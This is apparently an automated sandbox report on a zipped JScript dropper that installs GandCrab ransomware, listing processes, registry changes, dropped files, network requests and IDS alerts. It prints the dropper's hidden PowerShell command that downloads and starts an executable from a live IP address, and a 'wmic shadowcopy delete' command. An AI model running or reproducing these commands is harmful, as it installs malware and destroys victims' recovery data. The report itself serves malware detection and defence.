| File name: | Love_You_2019_25413240-txt.zip |
| Full analysis: | https://app.any.run/tasks/540da4c5-3a0b-4f47-87b2-e34069c519c7 |
| Verdict: | Malicious activity |
| Threats: | GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost. |
| Analysis date: | January 17, 2019, 14:13:50 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v1.0 to extract |
| MD5: | 8798BD71DE4FEC3F9B360D8B675DE1E3 |
| SHA1: | FDC7E3E272B86AAF0E6C3A8C78A6C57D0369C6BE |
| SHA256: | 8783B952147FEF067E346DECC7C5C62F40C44572A33CBEC1F390C1E6D4430669 |
| SSDEEP: | 192:ms3ch+91j67D7OmOiI7WPoDOirD1v07mU/g2XOjarpT47zbE2P:msMhL7soEhU/Qar+zbE2P |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 3276)
- cmd.exe (PID: 3516)
Application was dropped or rewritten from another process
- TempUtN19.exe (PID: 4064)
- TempUtN19.exe (PID: 3164)
- winsvcs.exe (PID: 2328)
- 2793727437.exe (PID: 4052)
Changes the autorun value in the registry
- TempUtN19.exe (PID: 4064)
Disables Windows Defender Real-time monitoring
- winsvcs.exe (PID: 2328)
Changes Security Center notification settings
- winsvcs.exe (PID: 2328)
Downloads executable files from IP
- powershell.exe (PID: 792)
- winsvcs.exe (PID: 2328)
Disables Windows System Restore
- winsvcs.exe (PID: 2328)
GandCrab keys found
- 2793727437.exe (PID: 4052)
Actions looks like stealing of personal data
- 2793727437.exe (PID: 4052)
Writes file to Word startup folder
- 2793727437.exe (PID: 4052)
Dropped file may contain instructions of ransomware
- 2793727437.exe (PID: 4052)
Renames files like Ransomware
- 2793727437.exe (PID: 4052)
Downloads executable files from the Internet
- powershell.exe (PID: 792)
- winsvcs.exe (PID: 2328)
Changes settings of System certificates
- 2793727437.exe (PID: 4052)
Deletes shadow copies
- 2793727437.exe (PID: 4052)
SUSPICIOUS
Executes scripts
- WinRAR.exe (PID: 2980)
Creates files in the user directory
- powershell.exe (PID: 792)
- powershell.exe (PID: 3972)
- 2793727437.exe (PID: 4052)
Starts CMD.EXE for commands execution
- WScript.exe (PID: 3116)
- WScript.exe (PID: 2444)
Executable content was dropped or overwritten
- powershell.exe (PID: 792)
- TempUtN19.exe (PID: 4064)
- winsvcs.exe (PID: 2328)
- 2793727437.exe (PID: 4052)
Starts itself from another location
- TempUtN19.exe (PID: 4064)
Creates files like Ransomware instruction
- 2793727437.exe (PID: 4052)
Creates files in the program directory
- 2793727437.exe (PID: 4052)
Reads the cookies of Mozilla Firefox
- 2793727437.exe (PID: 4052)
Adds / modifies Windows certificates
- 2793727437.exe (PID: 4052)
Reads Internet Cache Settings
- 2793727437.exe (PID: 4052)
INFO
Dropped object may contain TOR URL's
- 2793727437.exe (PID: 4052)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 10 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2004:01:17 13:35:10 |
| ZipCRC: | 0xf68ef684 |
| ZipCompressedSize: | 14320 |
| ZipUncompressedSize: | 14320 |
| ZipFileName: | Love_You_2019_25413240-txt.js |
Total processes
48
Monitored processes
13
Malicious processes
8
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 792 | powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','C:\Users\admin\AppData\Local\TempUtN19.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2328 | C:\Users\admin\66087085470750\winsvcs.exe | C:\Users\admin\66087085470750\winsvcs.exe | TempUtN19.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2432 | "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete | C:\Windows\system32\wbem\wmic.exe | 2793727437.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2444 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2980.45202\Love_You_2019_25413240-txt.js" | C:\Windows\System32\WScript.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2980 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Love_You_2019_25413240-txt.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3116 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2980.45458\Love_You_2019_25413240-txt.js" | C:\Windows\System32\WScript.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3164 | C:\Users\admin\AppData\Local\TempUtN19.exe | C:\Users\admin\AppData\Local\TempUtN19.exe | — | cmd.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3276 | "C:\Windows\System32\cmd.exe" /c JhCIFWVdRtYpjHOyekbEfrAMvgxaGB & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%UtN19.exe'); & start %temp%UtN19.exe | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3516 | "C:\Windows\System32\cmd.exe" /c JhCIFWVdRtYpjHOyekbEfrAMvgxaGB & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%UtN19.exe'); & start %temp%UtN19.exe | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3616 | C:\Windows\system32\vssvc.exe | C:\Windows\system32\vssvc.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 274
Read events
1 061
Write events
213
Delete events
0
Modification events
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\Love_You_2019_25413240-txt.zip | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (2980) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | @C:\Windows\System32\wshext.dll,-4804 |
Value: JScript Script File | |||
| (PID) Process: | (2444) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
5
Suspicious files
426
Text files
321
Unknown types
18
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 792 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\65Y64OV43X38J34ZJDUT.temp | — | |
MD5:— | SHA256:— | |||
| 3972 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0Z4C5Y2ILWJF8TV9SH2C.temp | — | |
MD5:— | SHA256:— | |||
| 2980 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2980.45202\Love_You_2019_25413240-txt.js | text | |
MD5:— | SHA256:— | |||
| 3972 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 792 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF21000f.TMP | binary | |
MD5:— | SHA256:— | |||
| 4052 | 2793727437.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi | — | |
MD5:— | SHA256:— | |||
| 2328 | winsvcs.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\1[1].exe | executable | |
MD5:— | SHA256:— | |||
| 4052 | 2793727437.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.mfjdscje | — | |
MD5:— | SHA256:— | |||
| 4052 | 2793727437.exe | C:\Config.Msi\MFJDSCJE-DECRYPT.txt | text | |
MD5:— | SHA256:— | |||
| 2980 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa2980.45458\Love_You_2019_25413240-txt.js | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
20
TCP/UDP connections
5
DNS requests
1
Threats
43
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2328 | winsvcs.exe | GET | — | 92.63.197.153:80 | http://92.63.197.153/s/1.exe | RU | — | — | malicious |
792 | powershell.exe | GET | 200 | 92.63.197.153:80 | http://92.63.197.153/mcdonalds.exe | RU | executable | 278 Kb | malicious |
2328 | winsvcs.exe | GET | 200 | 92.63.197.153:80 | http://92.63.197.153/s/1.exe | RU | executable | 361 Kb | malicious |
4052 | 2793727437.exe | GET | 301 | 138.201.162.99:80 | http://www.kakaocorp.link/ | DE | html | 162 b | malicious |
2328 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/3.exe | RU | html | 178 b | malicious |
2328 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/4.exe | RU | html | 178 b | malicious |
2328 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/2.exe | RU | html | 178 b | malicious |
2328 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/4.exe | RU | html | 178 b | malicious |
2328 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/2.exe | RU | html | 178 b | malicious |
2328 | winsvcs.exe | GET | 404 | 92.63.197.153:80 | http://92.63.197.153/s/5.exe | RU | html | 178 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
792 | powershell.exe | 92.63.197.153:80 | — | — | RU | malicious |
2328 | winsvcs.exe | 92.63.197.153:80 | — | — | RU | malicious |
4052 | 2793727437.exe | 138.201.162.99:80 | www.kakaocorp.link | Hetzner Online GmbH | DE | malicious |
4052 | 2793727437.exe | 138.201.162.99:443 | www.kakaocorp.link | Hetzner Online GmbH | DE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.kakaocorp.link |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
792 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
792 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
792 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
792 | powershell.exe | Misc activity | ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) |
2328 | winsvcs.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2328 | winsvcs.exe | A Network Trojan was detected | ET TROJAN Single char EXE direct download likely trojan (multiple families) |
2328 | winsvcs.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2328 | winsvcs.exe | A Network Trojan was detected | ET TROJAN Single char EXE direct download likely trojan (multiple families) |
2328 | winsvcs.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2328 | winsvcs.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |